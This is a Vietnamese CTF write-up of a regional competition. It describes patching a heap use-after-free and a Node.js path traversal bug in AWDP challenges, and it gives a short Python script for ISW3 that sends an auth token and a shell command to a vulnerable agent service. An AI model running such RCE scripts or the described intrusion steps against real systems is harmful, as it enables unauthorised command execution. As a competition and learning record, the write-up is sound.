Từ khi bắt đầu học cao học, tôi ít tham gia CTF hơn trước. Tuy nhiên nhờ sự hỗ trợ của học弟 và may mắn, đội SSSec đã giành vị trí thứ 2 tại khu vực Hồ Bắc, đủ điều kiện vào vòng chung kết😀.
Cấu trúc cuộc thi năm nay: Sáng thi AWDP (4 tiếng), chiều thi ISW (4 tiếng) Không còn bài tập phản ứng khẩn cấp thú vị như trước, hy vọng vòng chung kết sẽ có đề hay hơn🥺.
AWDP
AWDP gồm 2 dạng bài: Web và Pwn. Năm nay tiêu chí kiểm tra Pwn cực kỳ nghiêm ngặt. Các phương pháp sửa lỗi "lách" từ năm trước đều không hiệu quả nữa😱. Hai vòng đầu tiên chúng tôi không đạt điểm sửa lỗi😭. Học弟 của tôi đã sửa thành công bài Web, giúp đội tăng hạng nhanh chóng. Sau đó tôi dành thời gian phân tích kỹ bài catchme, sửa lỗi truyền thống thành công. Học弟 tiếp tục tìm ra cách sửa ngoài dự kiến, kết thúc buổi sáng giữ vững top 25, thoải mái giải trí🥳
Với AWDP, nên ưu tiên sửa lỗi trước khi tấn công. Mỗi bài có hai tùy chọn: tấn công (giống bài Pwn thông thường) và phòng thủ (submit flag). Dưới đây là ví dụ demo phòng thủ từ website cuộc thi:
Lệnh nén file:
tar -czvf update.tar.gz pwn update.sh
update.sh: Đường dẫn tuyệt đối của pwn là /home/ctf/pwn
Upload update.tar.gz để hoàn thành
Yêu cầu sửa lỗi hoàn toàn xóa điểm yếu rồi đóng gói upload. Năm nay kiểm tra cực kỳ chặt chẽ, ví dụ như thêm hàm chống tấn công hoặc nop free() đều bị báo "dịch vụ bất thường". Ngay cả việc thay đổi lệnh JA thành JG trong đoạn code phát hiện tràn số nguyên cũng bị báo lỗi.
Nguyên tắc chung: Nếu chưa sửa lỗi hoàn toàn sẽ nhận "tấn công thành công", nếu sửa lỗi nhưng ảnh hưởng đến chức năng chính hay không đáp ứng yêu cầu kiểm tra thì nhận "dịch vụ bất thường". Điều này đòi hỏi phải thử nhiều phương pháp khác nhau khi chưa biết rõ tiêu chí chấm điểm. Chi tiết kiểm tra có thể tham khảo blog của ZIHK26: https://zikh26.github.io/posts/a0e007e1.html
catchme
Bài về heap với lỗ hổng UAF trong hàm delete:
Cần xóa giá trị trong heap[idx] sau khi gọi free()
Có hai cách sửa chính:
- Chuyển hướng sang đoạn eh_frame bằng lệnh nhảy, thực thi đoạn mã sửa lỗi rồi quay lại.
- Thêm đoạn mã assembly trực tiếp sau free(), vì sau lệnh free() là kiểm tra tràn ngăn xếp nên có thể nop đi.
Trong trận tôi chọn cách thứ hai vì dễ thực hiện hơn.
Sửa bằng eh_frame
Cách sửa được cho là mong đợi? Cần chú ý địa chỉ nhảy chính xác.
.text:0000000000000E05 loc_E05: ; CODE XREF: delete+78↑j
.text:0000000000000E05 mov eax, [rbp+idx]
.text:0000000000000E08 cdqe
.text:0000000000000E0A lea rdx, ds:0[rax*8]
.text:0000000000000E12 lea rax, heapptr
.text:0000000000000E19 mov rax, [rdx+rax]
.text:0000000000000E1D mov rdi, rax ; ptr
.text:0000000000000E20 call _free
.text:0000000000000E25 mov eax, 0
Đầu tiên nop lệnh mov eax, 0 để chèn lệnh jmp. Sau đó cấp quyền thực thi cho đoạn eh_frame, thay thế các lệnh nop bằng mã xóa con trỏ heap. Cuối cùng nhớ chạy thử trên máy ảo và debug để đảm bảo sửa lỗi đúng.
Sửa hàm delete
Thực hiện trực tiếp sau lệnh call free(). Cách này lợi dụng việc lỗ hổng UAF chỉ ảnh hưởng đến idx=0. Sau khi free() là đoạn kiểm tra canary, có thể nop toàn bộ và chèn mã sửa lỗi như hình.
easy_rw_revenge
Cùng lỗ hổng UAF với hàm delete() được cung cấp. Tham khảo phương pháp của đội SJUSEC: https://sechub.in/view/3195549 Thay lệnh call free() bằng call delete() sau khi điều chỉnh tham số. Có thể thay bằng gọi eh_frame nhưng cần cân nhắc kỹ lưỡng.
UpNodeTrap
Theo chia sẻ từ đội Wuhan Engineering Tech, có lỗ hổng vượt qua đường dẫn trong API upload của JS:
const filePath = path.join(uploadsDir, filename);
fs.writeFile(filePath, content, err => {
if (err) {
return sendJSON(res, 500, { error: 'Unable to persist file to storage.' });
}
sendJSON(res, 200, {
status: 'Upload completed.',
location: filePath
});
});
});
Phương án sửa là cố định đường dẫn thành /upload/flag. Một cách rất đơn giản nhưng hiệu quả!
MiniDB
Chi tiết tham khảo: https://www.cnblogs.com/S1nyer/p/19788479
ISW
Ba bài pentest kết hợp web và pwn.
ISW3
Sau khi root được máy chủ ngoại vi, nhận được file elf. Máy chủ mục tiêu có cổng lắng nghe tương ứng.
Phân tích cho thấy hàm Agent::handleClient chứa dịch vụ socket chính. Qua Agent::receiveCommand nhận lệnh, sau đó Agent::executeCommand dùng popen thực thi lệnh.
Điều quan trọng là gửi lệnh đúng cách đến receiveCommand. Phân tích ngược cho thấy cần gửi token xác thực RCE_AUTH_2026 trước khi truyền lệnh.
Code mẫu thực hiện RCE:
import socket
from pwn import*
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 12345))
client.send(b'RCE_AUTH_2026')
sleep(0.5)
client.send(b'touch 111')
print('Command sent successfully')
client.close()
Web team sau đó phản hồi shell để nhận kết quả.
ISW2
Tương tự ISW3 với dịch vụ watchagent, tạo kết nối RPC để thực thi lệnh. Tham khảo: https://bbs.kanxue.com/thread-290487.htm?style=1
ISW1
Bài có yếu tố pwn: https://www.52pojie.cn/thread-2099313-1-1.html